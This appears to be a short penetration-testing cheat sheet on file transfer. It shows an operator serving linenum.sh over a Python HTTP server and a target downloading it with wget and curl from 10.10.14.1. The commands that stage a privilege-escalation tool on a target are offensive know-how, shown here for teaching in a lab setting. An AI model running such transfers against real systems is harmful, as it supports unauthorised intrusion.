WGET/CURL

root@oco:~$ cd /tmp
root@oco:~$ python3 -m http.server 8000
 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

WGET

root@target:~$ wget http://10.10.14.1:8000/linenum.sh
 ...SNIP...
 Saving to: 'linenum.sh'

 linenum.sh 100%[==============================================>] 144.86K  --.-KB/s    in 0.02s

 2021-02-08 18:09:19 (8.16 MB/s) - 'linenum.sh' saved [14337/14337]

CURL

root@target:~$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
 100  144k  100  144k    0     0  176k      0 --:--:-- --:--:-- --:--:-- 176k
 
 * the -o flag specifies the output filename

Last updated